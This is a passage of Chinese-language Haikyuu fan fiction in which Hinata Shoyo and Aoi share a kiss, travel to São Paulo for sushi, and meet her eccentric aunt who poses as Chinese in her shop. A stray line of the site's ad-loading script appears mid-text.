可是日向翔阳已经不是几个月前那只双唇碰一碰就会脸红的纯情小狗了。 他立刻拉下葵的手，自己的手顺势搭在葵的颈侧，把她拉近了点。 葵的鼻梁和额头不得不抵在了稍嫌冰冷和坚硬的镜架上。 两相对比之下，更显得日向一口口含她和轻轻试探着舔她的唇舌柔软又温暖。 看见小狗闭着眼睛吻得专注又虔诚，葵也闭上了眼。 全身的感觉似乎都集中在了唇部，日向亲得温柔又缱绻，只是葵突然意识到他们还在客厅，紧张地一把推开了翔阳。 日向翔阳茫然地把墨镜抬到了头顶，露出了一双无辜的眼睛，困惑又委屈地问她：“怎么了？” 葵闭嘴不言，亲吻提升的心率还没有平复下来，不知道是不是荷尔蒙的作用，看着日向翔阳被墨镜压得乱翘的头发，心里依然是一片柔软，好像自己的心也变成了一团黏糊糊，融化掉的巧克力一样。 葵默默地想，永远明亮的太阳也是会有太阳黑子的呀。 但是像日向翔阳努力在做她的支点一样，她也可以成为日向的一个安全出口。 小鸟游葵伸手帮他把被墨镜压弯的橙色碎发挑出来，神情专注，慢慢地开口说道：“你还记得，我之前跟你说我在巴西的唯一亲戚，也就是我的小姨，在说要去南极洲探险之后就失去了音信吗？” “啊？好像是有这么一回事。”日向的神情突然紧张了起来，似乎是害怕听见什么不好的消息。 葵忍不住勾了勾嘴角：“好消息，在失联了大半年之后，她终于回来了，也终于重新联系上了我。” “这真的是太好了！”日向翔阳长长地松了一口气，露出真诚的庆幸表情。 葵依然耐心地整理着他的头发：“再过几天，马上就是巴西的独立日假期，公司和学校都会放假，我小姨在圣保罗，你……想不想和我一起去圣保罗玩一圈？刚好躲一躲最近里约的游客潮，而且那边日本人多一些，会有比较好吃和正宗的日料。” 日向只是苦恼地皱眉思考了一瞬间，就立刻做好了决定。 “好啊！” 也看不出来他有没有体会到葵这个安排背后的用意，只是明媚地笑着：“哇！可以吃到日料！还可以见到葵的小姨！真是太好了！好期待！” 葵收回手：“好好爱护礼物，沙排比赛要加油！” 日向握拳给自己打气：“嗯！我要更早睡觉，更早起，去晨跑，从10月份开始的比赛要获得更多的积分，明年1月开始参加巡回大赛！” 19.第 19 章 立下誓言之后，日向翔阳每天起得更早了，他早上会先去沿海的绿道上先跑一圈，坐在海边对着太阳冥想一会儿，再回家做早餐。 独立日的假期也如约而至，从里约到圣保罗可以坐过夜的大巴，深夜出发，座椅放倒之后舒服地躺下睡一觉，天亮就到了。 “葵，我们现在去哪？” 站在圣保罗的车站里，背着大包，日向的表情里毫无倦色，满脸期待地看着她。 小鸟游葵深深呼吸了一口圣保罗熟悉的、干燥的、带着一丝舒适凉意的、海腥味并不浓烈的空气，豪情万丈地指着前方说：“我们先去放东西，然后出门吃饭！” 跟在葵的后面，日向好奇地东张西望：“哇，这里看起来比里约要现代化好多。” “毕竟是南美最繁华的城市，但是肯定是没有里约好玩的。” “天啊！这边还有DAISO！” “是啦，走之前也可以逛一逛，去买点日用品。” 小鸟游葵带着日向翔阳穿过写字楼鳞次栉比的中心区，钻进了一个布满彩砖和涂鸦的小巷，熟练地打开了一扇已经生锈的大门，从昏暗的水泥楼梯一路爬上去，停在了一扇水鸭绿色的雕花铁门面前。 “哇，”日向张大了嘴，很捧场地说，“这种地方，感觉很有故事。” “只是这边的房子比较便宜罢了。”葵实事求是地说道。 门打开，日向张着嘴，像是想要夸赞点什么，但是最后只能发出一声干瘪的惊呼。 “哇哦——” 这个公寓，未免也…… 太凌乱了。 像是刚刚有追上门讨债的人来家里掘地三尺地翻过一圈一样，所有的东西都凌乱地堆在地上，看不出底下铺的是什么样子的瓷砖，日向甚至还怀疑自己看见了白色的不知名动物头骨和诡异的黑色人形物体。 葵熟练又轻盈地踮着脚避开了地上的东西，走到摆满空啤酒罐的茶几旁边，扒开沙发上的衣服，把背包放在了沙发上。 日向翔阳学着她的样子，蹦蹦跳跳地前进。 “嘎嘣——” 脚下传来不妙的声音，日向浑身都僵住了，一卡一卡地低下头，看见自己脚底下踩着一个透明塑料袋子装着的不明物品。 看起来像是什么食物，但是都黑乎乎的，不知道是本来就是这样松脆的质地，还是因为放久了风干了，不过已经被他踩成了粉末，也看不出是什么东西。 他求助的目光无助地看向葵。 葵走过来，轻轻一脚把这个袋子提进了堆积成山的不明物体之下。 “没事，她肯定都不记得自己家里都有什么东西了。” 这个“她”，大概就是葵的小姨吧。 “她不在家吗？”日向试探地问道。 “这个时间……可能在店里，也可能去哪个朋友那里玩了，吃完午饭再去店里找她的话大概率是在的。” 尽管还没见到葵传说中那位只身一人去南极洲探险的小姨，但光是看见家里的样子，日向翔阳就已经有些肃然起敬了。 “我们午饭吃什么？” 葵的眼神坚定：“吃寿司。” “巴西的寿司吗？”日向想到在里约吃到过的寿司，抱着双臂抖了一下，有点心有余悸。 “放心，圣保罗的寿司是真的寿司。”葵肯定地点了点头，示意他放心。 葵明显对这片区域很熟，在小巷子里穿行几圈，就站在了一家不起眼的日料店门口。 非常容易被忽视的招牌，上面只写着日语，也不知道会不会有巴西人光顾。 葵推开门，熟稔地跟迎上来的日本人面孔的服务员说着日语，日向忍不住侧目看向别人桌上的食物，越看越激动，等到位置上坐下的时候，眼眶里面都泛着感动的泪花。 “是真的寿司！” “嗯。” “没有油炸过，没有挤满奶油，也没有加入奇怪辣椒的正常寿司！” “嗯！” 别说日向翔阳了，即使是已经习惯巴西生活的葵，也时常无法理解这里千奇百怪的寿司。 在里约，探索新的日料店像是一场豪赌，即使是菜单上图片看起来最正常的、最基础的寿司，实物看起来也毫无异样的寿司，都会在某一口突然带来未知的“惊喜”。 等到似乎只存在回忆里的，外观和气味都正常寿司被端了上来的时候，日向说“我开动了”的声音都激动得有些颤抖。 “啊呜”一大口吃下，橘子头瞪大了眼睛，还来不及咽下，就激动地指着嘴巴，口齿不清地说：“唔唔唔还是加了真的寿司醋捏的寿司，好好吃！” “吃慢点，别噎着了。” 能干的小狗在里约的时候尝试过用这边的食材复刻过很多日本风味的东西，有的成功有的失败了，总归是缺一些很难找齐的关键原料，比如寿司醋，比如好吃的酱油，比如无菌蛋。 就当是报答小狗一直以来的投喂吧！葵边吃边想，要好好把握在圣保罗的这几天。 “葵，”小狗面前堆满了空碟，眼睛湿漉漉地看着她，“你已经吃饱了吗？我好像还想再点一些……” “随便点。” “葵！——”日向又露出了水汪汪的蛋花眼。 “快收起这幅表情！”葵压低了声音，却又藏不住自己脸上的笑意。 “这个，这个，这个，这个，还有这个，这个，再来一份吧！”日向的手指在菜单上，从上到下都指了一遍。 “你基本上就是刚刚吃过的全都再点了一盘吧！” “呜……因为太好吃了，不知道下一次吃到这么好吃的东西是什么时候。” “下次……不就是今天的晚餐……我小姨肯定要请我们吃饭的，”葵小声嘟囔了一句，“如果你喜欢的话……以后我们……还可以经常来圣保罗啊，坐过夜的大巴，一晚上就到了，也不会在路程上浪费太多时间……也可以住在我小姨家……” “葵——”日向一副感动不已的表情。 “都说了不要露出这种表情了，太肉麻了！”葵感觉脸颊有点发热。 “不想表现得太喜欢一个人”和“日向的反应都好让人满足”在她心里疯狂地拉扯。 但是看见日向翔阳期待地等着食物，好奇地左看右看，然后又收回目光，充满爱意地看着她，仿佛身后也有一条橙色的尾巴在摇来摇去的样子，感觉是比吃到寿司还要快乐的事情。 葵想，如果是日向翔阳的话，应该不一样的吧。 * 吃完午饭，他们慢慢散步走到了葵小姨开店的地方。 看着这里街道两边招牌上逐渐密度增加的中文字，日向的表情有点困惑。 “这里是……？” “大约是圣保罗这边中国人聚集比较多的地方吧。” “葵的小姨在跟中国人做生意？” “差不多吧。”葵含糊地回答道。 等到他们走进了一个从招牌到商品都是中文的商店，日向翔阳看见在收银台的地方，有一个穿着背心和工装裤，长长的黑发潇洒地编成了无数条细密的辫子的年轻女性，正在和一个男人熟络地聊天。 不管怎么听，他们说的也不像是日语，据日向听来，也不像是中文。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “这是……葵你的小姨吗？”日向凑到小鸟游葵的耳边，小声地问。 “是的。”葵不动声色地走进了货架之间，打量起了这里的商品，装作只是普通顾客的样子。 “她在跟谁聊天？说的什么语言？”日向已经快困惑成了团团打转的蚊香眼，也不太明白为什么葵不能直接去和她的小姨打招呼，还要装作普通的顾客。 “可能是什么朋友吧，他们说的大概是中国沿海某个地区的方言，这一片似乎都是那里的人，所以她一直都假装自己是那里的中国人，因为太有语言天分了以及非常会察言观色，所以从来没有被怀疑过。” “啊？为什么？” “因为这些中国人很会做生意啊，还有只有那个地区的人才能加入的协会什么的，然后似乎这边的巴西人在二战期间对日本的敌意挺大的，所以以前对标着‘日本’的商品不太买账，最近在年轻人中间似乎现在好些了，不过她很早就来了巴西，一直在卖标着‘中国’的东西，当然要装作中国人了。” “哇——”日向张大了嘴，一时不知道该怎么评价。 葵扯了扯嘴角，对她这个离经叛道的小姨也有些哭笑不得。 好在葵的小姨也注意到了他们，没过多久，收银台那边传来一阵爽朗的大笑，那个男人就起身道别了。 店门关上之后，葵从货架之间走了出来，用谴责的目光看着她。 看不出年龄的时髦女子单手撑着台面，看不懂葵眼神似的，毫不在意地挥了挥手：“哟。” 葵沉默不语。 女人甩了甩头发，摊了摊手，说出口的是再标准不过的日语：“哎呀，我出门旅游的时候，一直是刚刚那个人在帮我看店，非常感激，最近都在讨好他，所以就和他多聊了一会儿。” 不等葵有什么回复，她就眼前一亮地看向了日向：“哟，葵的小男友？” “您好！”日向“嗖”地一下就站直了，然后紧张地低头鞠了一个躬，“我叫日向翔阳。” 他后知后觉地反应过来——这，这就是见家长了啊！ 女人豪爽地挥了挥手：“别那么客气，叫我珍娜就行了。” “珍……珍娜……”日向小声地重复，语气有点飘忽和不确定，磕磕绊绊的。 别说这不像是个日本名字，他也不想无礼到直接称呼长辈的名字。 “你就直接叫她珍娜吧，她很讨厌日本那一套礼节。”葵无奈地小声提醒他。 “啊？哦！”日向摸了摸头，“啪”地再次立正，大声地问好。 珍娜捧起了脸颊，笑得眯起了眼睛：“真可爱呢，想不到葵竟然喜欢这种类型。” 葵上前一步挡住了她揶揄的视线，看起来比珍娜还像一个理智成熟的成年人：“你不肯在线上告诉我，现在可以说了吧？去南极洲的路上到底怎么了？为什么失联了大半年？” “哎呀！人家懒得打字嘛，”珍娜讨好地对着葵笑了笑，“说来话长，不过倒也很简单，我们要从阿根廷出发嘛，在船上的时候，突然飞过来一只死肥鸟追着我啄，我想揍它，但是船员都拦着我，说这种鸟在他们心中是在海上死去的船员的灵魂，但我最后还是气不过，抓起手机就丢了过去，就这样，手机就掉到了海里，所以谁也联系不上了。” 珍娜无辜地摊了摊手，仿佛气到丢手机去砸一只海鸟是再普通不过的事情，总而言之一切都是那只鸟的错的样子，而且这么不声不响地失踪了大半年也不是什么大不了的事情。 日向缓缓地张大了嘴。 葵的小姨，不但长得和她完全不像，连性格也很别具一格啊……